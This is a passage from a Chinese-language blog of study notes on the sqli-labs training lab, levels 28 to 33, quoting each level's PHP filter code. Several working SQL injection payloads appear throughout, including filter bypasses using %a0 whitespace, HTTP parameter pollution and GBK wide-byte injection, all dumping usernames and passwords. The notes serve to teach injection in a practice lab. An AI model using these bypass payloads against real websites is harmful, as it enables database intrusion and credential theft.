column=input("\nPlease choose one of the columns:")
print("[+]loading data......")
show_data(column)
for i in ans['data']:
print('[*]'+i)

if __name__ == '__main__':
main()

less-28(union+空字符+select绕过,字符型)

waf:

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}

还是过滤了/* -- # 空格 union select,这里的正则表达式\s匹配任意空字符,/i表示不区分大小写,但是需要注意的是这里过滤的是union+空白字符+select同时匹配大小写的这一个整体,所以直接使用%a0绕过空格即可,这个整体就不会被识别

payload:

1
?id=0%27)%a0union%a0select%a03,(select%a0group_concat(password)%a0from%a0users),5%a0and(%271%27)=(%271

less28-a

waf:

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}

还注释掉这么多…更简单…不知道在搞什么飞机…

payload:

1
?id=0%27)%a0union%a0select%a03,(select%a0group_concat(password)%a0from%a0users),5%a0and(%271%27)=(%271

less-29(HTTP参数污染)

只是过来学习一下waf,懒得装tomcat…但还是了解一下原理:

iu8sz.png

服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 waf,由于解析参数机制的不同,我们此处可以利用该原理绕过 WAF 的检测;

数据解析顺序:tomcat从前往后,apache从后往前

iuqWR.png

在login.php中:

1
2
3
4
5
6
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);

经过白名单过滤的就只是tomcat解析到的第一个id参数,但是如果传入两个id参数,tomcat的过滤效果自然就灰飞烟灭……apache直接解析最后一个id,没有任何waf,轻松注入,该用法就是 HPP(HTTP Parameter Pollution)即 HTTP 参数污染攻击。HPP 可对服务器和客户端都能够造成一定的威胁。

payload:

1
?id=1&id=0' union select 1,group_concat(username),group_concat(password) from users--+

less-30

同29,只是改变为双引号

payload:

1
?id=1&id=0" union select 1,group_concat(username),group_concat(password) from users--+

less-31

同29,只是改变为括号加双引号

payload:

1
?id=1&id=0") union select 1,group_concat(username),group_concat(password) from users--+

less-32(宽字节注入)

转义函数:

1
addslashes(),mysql_real_escape_string(),mysql_escape_string()

特殊字符前面被加上了\

1
2
Hint: The Query String you input is escaped as : 1\'--
The Query String you input in Hex becomes : 315c272d2d20

how to solve \

而网站在过滤'的时候,通常的思路就是将'转换为\',因此我们在此想办法将'前面添加的\去掉,一般有两种思路:

  1. 第一种方法:程序的默认字符集是GBK等宽字节字符集,则可以发生GBK宽字节注入,url编码\'%5c%27,mysql使用GBK编码时,会默认两个字符为一个汉字,%bb%5c是一个宽字符(前一个 ASCII 码大于 128 才能到汉字的范围),所以%bb%5c%27转化过来就是汉字',此时便可以直接闭合引号;

    payload:

    1
    ?id=-1%bb%27union%20select%201,database(),3%20%23
  2. 第二种方法:构造id=%bb\\',转义后为%bb%5c\\\\',其中%bb%5c为汉字,其余的四个\转义为两个\,那么单引号正好没有被转义

    payload:

    1
    ?id=-1%bb\\%27union%20select%201,database(),3%20%23

less-33

这个只是调用了系统的转义函数addslashes($string),注入方法和32一致

payload:

1
?id=-1%bb%27union%20select%201,database(),3%20%23

less-34

Author: Gard3nia
Link: https://gardenia30.top/2019/04/03/Sqli-Labs学习笔记/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.